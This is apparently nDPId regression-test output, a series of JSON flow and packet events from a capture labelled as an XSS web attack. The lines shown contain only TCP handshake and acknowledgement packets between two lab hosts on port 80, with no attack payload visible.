+00432{"flow_id":289,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4151,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347465,"pkt_ts_usec":738226,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eXBAAD4GTGisEAABwKgKMuBSAFDnp7Gex+DFL4ARAOWKHAAAAQEICgE6zk4D5Jpo"} +00432{"flow_id":289,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4152,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347465,"pkt_ts_usec":738453,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0WutAAEAGaO3AqAoyrBAAAQBQ4FLH4MUv56exn4ARAOOEwQAAAQEICgPkn8QBOs5O"} +00433{"flow_id":289,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4153,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347465,"pkt_ts_usec":739178,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eXFAAD4GTGesEAABwKgKMuBSAFDnp7Gfx+DFMIAQAOWEvwAAAQEICgE6zk4D5J\/E"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4154,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":6,"flow_first_seen":1499347393135,"flow_last_seen":1499347398725,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56710,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4154,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":6,"flow_first_seen":1499347393135,"flow_last_seen":1499347398725,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56710,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4154,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":6,"flow_first_seen":1499347394398,"flow_last_seen":1499347399725,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56724,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4154,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":6,"flow_first_seen":1499347394398,"flow_last_seen":1499347399725,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56724,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4154,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":6,"flow_first_seen":1499347395736,"flow_last_seen":1499347401725,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56738,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4154,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":6,"flow_first_seen":1499347395736,"flow_last_seen":1499347401725,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56738,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4154,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":6,"flow_first_seen":1499347398258,"flow_last_seen":1499347403725,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56764,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4154,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":6,"flow_first_seen":1499347398258,"flow_last_seen":1499347403725,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56764,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4154,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":253,"flow_packet_id":6,"flow_first_seen":1499347399514,"flow_last_seen":1499347404726,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56778,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4154,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":253,"flow_packet_id":6,"flow_first_seen":1499347399514,"flow_last_seen":1499347404726,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56778,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4157,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":293,"flow_packet_id":1,"flow_first_seen":1499347466553,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57494,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":293,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4157,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347466,"pkt_ts_usec":553593,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8KvdAAD4GmtmsEAABwKgKMuCWAFD9ZuXtAAAAAKACchDKcwAAAgQFtAQCCAoBOs8aAAAAAAEDAwc="} +00445{"flow_id":293,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4158,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347466,"pkt_ts_usec":553731,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4JYOrdMQ\/Wbl7qAScSBFIQAAAgQFtAQCCAoD5KCPATrPGgEDAwc="} +00432{"flow_id":293,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4159,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347466,"pkt_ts_usec":554288,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KvhAAD4GmuCsEAABwKgKMuCWAFD9ZuXuDq3TEYAQAOXkKAAAAQEICgE6zxoD5KCP"} +00433{"flow_id":290,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4163,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347466,"pkt_ts_usec":738231,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00JVAAD4G9UKsEAABwKgKMuBgAFDZtRq\/GoqHTYARAOUX5QAAAQEICgE6z0gD5Jui"} +00433{"flow_id":290,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4164,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347466,"pkt_ts_usec":738452,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0J\/NAAEAGm+XAqAoyrBAAAQBQ4GAaiodN2bUawIARAOMSygAAAQEICgPkoL4BOs9I"} +00432{"flow_id":290,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4165,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347466,"pkt_ts_usec":739001,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00JZAAD4G9UGsEAABwKgKMuBgAFDZtRrAGoqHToAQAOUSyAAAAQEICgE6z0gD5KC+"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4169,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":294,"flow_packet_id":1,"flow_first_seen":1499347467793,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57508,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":294,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4169,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347467,"pkt_ts_usec":793906,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82olAAD4G60asEAABwKgKMuCkAFDARwrZAAAAAKACchDhYwAAAgQFtAQCCAoBOtBQAAAAAAEDAwc="} +00444{"flow_id":294,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4170,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347467,"pkt_ts_usec":794030,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4KSQwyNLwEcK2qAScSCIigAAAgQFtAQCCAoD5KHFATrQUAEDAwc="} +00432{"flow_id":294,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4171,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347467,"pkt_ts_usec":794626,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02opAAD4G602sEAABwKgKMuCkAFDARwrakMMjTIAQAOUnkgAAAQEICgE60FAD5KHF"} +00432{"flow_id":291,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4175,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347468,"pkt_ts_usec":739972,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K6BAAD4GmjisEAABwKgKMuBuAFAjB+D8diiXmIARAOWZMQAAAQEICgE60TwD5Jzb"} +00433{"flow_id":291,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4176,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347468,"pkt_ts_usec":740222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NSpAAEAGjq7AqAoyrBAAAQBQ4G52KJeYIwfg\/YARAOOTWwAAAQEICgPkorIBOtE8"} +00432{"flow_id":291,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4177,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347468,"pkt_ts_usec":740981,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K6FAAD4GmjesEAABwKgKMuBuAFAjB+D9diiXmYAQAOWTWAAAAQEICgE60T0D5KKy"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4181,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":295,"flow_packet_id":1,"flow_first_seen":1499347469060,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57522,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":295,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4181,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347469,"pkt_ts_usec":60900,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8H0RAAD4GpoysEAABwKgKMuCyAFAQe87JAAAAAKACchDL9AAAAgQFtAQCCAoBOtGNAAAAAAEDAwc="} +00443{"flow_id":295,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4182,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347469,"pkt_ts_usec":61031,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4LKyNukIEHvOyqAScSCKrQAAAgQFtAQCCAoD5KMCATrRjQEDAwc="} +00431{"flow_id":295,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4183,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347469,"pkt_ts_usec":61777,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0H0VAAD4GppOsEAABwKgKMuCyAFAQe87KsjbpCYAQAOUptQAAAQEICgE60Y0D5KMC"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4190,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":296,"flow_packet_id":1,"flow_first_seen":1499347470328,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57536,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":296,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4190,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347470,"pkt_ts_usec":328150,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8MvtAAD4GktWsEAABwKgKMuDAAFBLw+AxAAAAAKACchB9+QAAAgQFtAQCCAoBOtLKAAAAAAEDAwc="} +00445{"flow_id":296,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4191,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347470,"pkt_ts_usec":328254,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4MBkpV8JS8PgMqAScSATBgAAAgQFtAQCCAoD5KQ\/ATrSygEDAwc="} +00433{"flow_id":296,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4192,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347470,"pkt_ts_usec":328837,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MvxAAD4GktysEAABwKgKMuDAAFBLw+AyZKVfCoAQAOWyDQAAAQEICgE60soD5KQ\/"} +00432{"flow_id":292,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4196,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347470,"pkt_ts_usec":739895,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nSJAAD4GKLasEAABwKgKMuCIAFBo61DD8LvNDYARAOUu9AAAAQEICgE60zAD5J9X"} +00432{"flow_id":292,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4197,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347470,"pkt_ts_usec":740153,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0aatAAEAGWi3AqAoyrBAAAQBQ4Ijwu80NaOtQxIARAOMppgAAAQEICgPkpKYBOtMw"} +00432{"flow_id":292,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4198,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347470,"pkt_ts_usec":740733,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nSNAAD4GKLWsEAABwKgKMuCIAFBo61DE8LvNDoAQAOUpowAAAQEICgE60zED5KSm"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4202,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":297,"flow_packet_id":1,"flow_first_seen":1499347471594,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57550,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":297,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4202,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347471,"pkt_ts_usec":594015,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8VndAAD4Gb1msEAABwKgKMuDOAFAlMIJxAAAAAKACchABAwAAAgQFtAQCCAoBOtQGAAAAAAEDAwc="} +00444{"flow_id":297,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4203,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347471,"pkt_ts_usec":594175,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4M5lR7ajJTCCcqAScSA8lgAAAgQFtAQCCAoD5KV8ATrUBgEDAwc="} +00432{"flow_id":297,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4204,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347471,"pkt_ts_usec":594899,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VnhAAD4Gb2CsEAABwKgKMuDOAFAlMIJyZUe2pIAQAOXbnQAAAQEICgE61AYD5KV8"} +00432{"flow_id":293,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4208,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347471,"pkt_ts_usec":740474,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KvlAAD4Gmt+sEAABwKgKMuCWAFD9ZuXuDq3TEYARAOXfFgAAAQEICgE61CsD5KCP"} +00433{"flow_id":293,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4209,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347471,"pkt_ts_usec":740710,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0drFAAEAGTSfAqAoyrBAAAQBQ4JYOrdMR\/Wbl74ARAOPaBgAAAQEICgPkpaABOtQr"} +00432{"flow_id":293,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4210,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347471,"pkt_ts_usec":741417,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KvpAAD4Gmt6sEAABwKgKMuCWAFD9ZuXvDq3TEoAQAOXaBAAAAQEICgE61CsD5KWg"} +00432{"flow_id":294,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4217,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347473,"pkt_ts_usec":741406,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02otAAD4G60ysEAABwKgKMuCkAFDARwrakMMjTIARAOUhwgAAAQEICgE61h8D5KHF"} +00432{"flow_id":294,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4218,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347473,"pkt_ts_usec":741670,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0hNhAAEAGPwDAqAoyrBAAAQBQ4KSQwyNMwEcK24ARAOMb9AAAAQEICgPkp5QBOtYf"} +00432{"flow_id":294,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4219,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347473,"pkt_ts_usec":742219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02oxAAD4G60usEAABwKgKMuCkAFDARwrbkMMjTYAQAOUb8gAAAQEICgE61h8D5KeU"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4223,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":298,"flow_packet_id":1,"flow_first_seen":1499347474100,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57576,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":298,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4223,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347474,"pkt_ts_usec":100876,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8IdhAAD4Go\/isEAABwKgKMuDoAFDgcfehAAAAAKACchDOAwAAAgQFtAQCCAoBOtZ5AAAAAAEDAwc="} +00444{"flow_id":298,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4224,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347474,"pkt_ts_usec":100976,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4OgnZn4J4HH3oqAScSB9oAAAAgQFtAQCCAoD5KfuATrWeQEDAwc="} 